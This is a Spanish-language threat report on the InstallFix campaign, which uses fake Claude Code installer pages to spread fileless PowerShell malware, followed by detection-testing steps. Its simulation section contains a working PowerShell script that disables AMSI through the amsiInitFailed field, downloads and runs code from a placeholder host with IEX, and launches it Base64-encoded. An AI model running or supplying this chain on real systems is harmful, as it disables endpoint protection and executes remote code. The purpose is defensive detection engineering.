InstallFix y Claude Code: Cómo las Páginas de Instalación Falsas Conducen a un Compromiso Real

Resumen

La campaña InstallFix distribuye malware a través de anuncios maliciosos en Google que imitan páginas de instalación de Claude AI. Se persuade a las víctimas a ejecutar comandos de PowerShell que invocan mshta.exe para recuperar un archivo polyglot ZIP y HTA, que luego inicia una cadena de infección sin archivos de múltiples etapas. La carga útil desactiva la validación SSL y protecciones AMSI, descarga código adicional desde un dominio de comando y control específico para la víctima, y crea persistencia mediante tareas programadas. La operación ha tenido como objetivo organizaciones en múltiples industrias y regiones en todo el mundo.

Investigación

Los investigadores rastrearon el flujo de ejecución completo desde la página del instalador falso a través de mshta.exe, VBScript y varias capas de PowerShell codificado. La desofuscación mostró que el malware generó un identificador único para cada víctima y lo utilizó para construir una URL de comando y control específica del host. La telemetría de la red reveló comunicación saliente a múltiples dominios maliciosos y direcciones IP. Aunque la carga útil final no se recuperó completamente, el comportamiento observado sugirió actividades de recopilación y exfiltración de datos.

Mitigación

Los defensores deben bloquear el acceso a los dominios y direcciones IP maliciosos identificados y restringir el uso de mshta.exe y otras herramientas de secuencias de comandos heredadas siempre que sea posible. Los controles de seguridad de los endpoints deben ajustarse para detectar intentos de evasión de AMSI y manipulación de validación SSL. Las organizaciones también deben aplicar un estricto filtrado de URLs para el tráfico de anuncios de Google que conduce a páginas de instalación de software. La concienciación del usuario sigue siendo crítica, especialmente en torno al riesgo de ejecutar comandos copiados de resultados de búsqueda patrocinados o fuentes no verificadas.

Respuesta

Los equipos de seguridad deben alertar sobre cadenas de procesos en las que mshta.exe lanza cmd.exe, powershell.exe, o intérpretes de scripts con URLs remotas sospechosas. Esos eventos deben correlacionarse con la creación de tareas programadas y conexiones salientes a la infraestructura de comando y control conocida. Si se confirma la actividad, los defensores deben contener el host, terminar los procesos maliciosos y eliminar cualquier mecanismo de persistencia como tareas programadas. Luego se debe realizar una revisión forense para identificar cualquier componente de carga útil sin archivos restante.

Ejecución de Simulación

Prerrequisito: El Chequeo Previo de Telemetría y Línea Base debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y narrativas DEBEN reflejar directamente los TTPs identificados y tienen como objetivo generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un diagnóstico erróneo.

• Narrativa y Comandos de Ataque:
  El atacante obtiene un script malicioso de PowerShell a través de un enlace de spear-phishing (T1566.002) que descarga una carga útil desde un servidor comprometido. Para evitar la detección AMSI, el script inyecta la cadena AMSI_RESULT_NOT_DETECTED en la memoria del proceso, y luego utiliza el IEX operador para ejecutar el código descargado. Todo el comando está codificado en Base64 y se lanza con la bandera -EncodedCommand , satisfaciendo los tres cadenas de selector en la regla Sigma.

  Paso a paso:

  1. Descargar la carga útil maliciosa (una simple línea de comando de PowerShell que escribe un archivo).
  2. Inyectar marcador de evasión AMSI configurando el campo estático privado amsiInitFailed.
  3. Ejecutar la carga útil vía IEX.
  4. Lanzar toda la cadena usando powershell.exe -EncodedCommand ….

• Script de Prueba de Regresión:

  # Simulación de ataque PowerShell estilo InstallFix
  # -------------------------------------------------
  # 1. Definir la línea de comando maliciosa
  $malicious = @"
  `$bypass = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
              .GetField('amsiInitFailed','NonPublic,Static')
  `$bypass.SetValue(`$null,$true)
  IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1')
  "@
  
  # 2. Codificar el script en UTF-16LE y luego en Base64 (requisito de PowerShell)
  $bytes = [System.Text.Encoding]::Unicode.GetBytes($malicious)
  $encoded = [Convert]::ToBase64String($bytes)
  
  # 3. Ejecutar vía powershell.exe con la bandera -EncodedCommand
  $command = "powershell.exe -NoProfile -EncodedCommand $encoded"
  Write-Host "Lanzando PowerShell malicioso..."
  Invoke-Expression $command

• Comandos de Limpieza:

  # Eliminar cualquier archivo temporal y terminar procesos persistentes
  Get-Process -Name powershell -ErrorAction SilentlyContinue | Stop-Process -Force
  Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue
  Write-Host "Limpieza completa."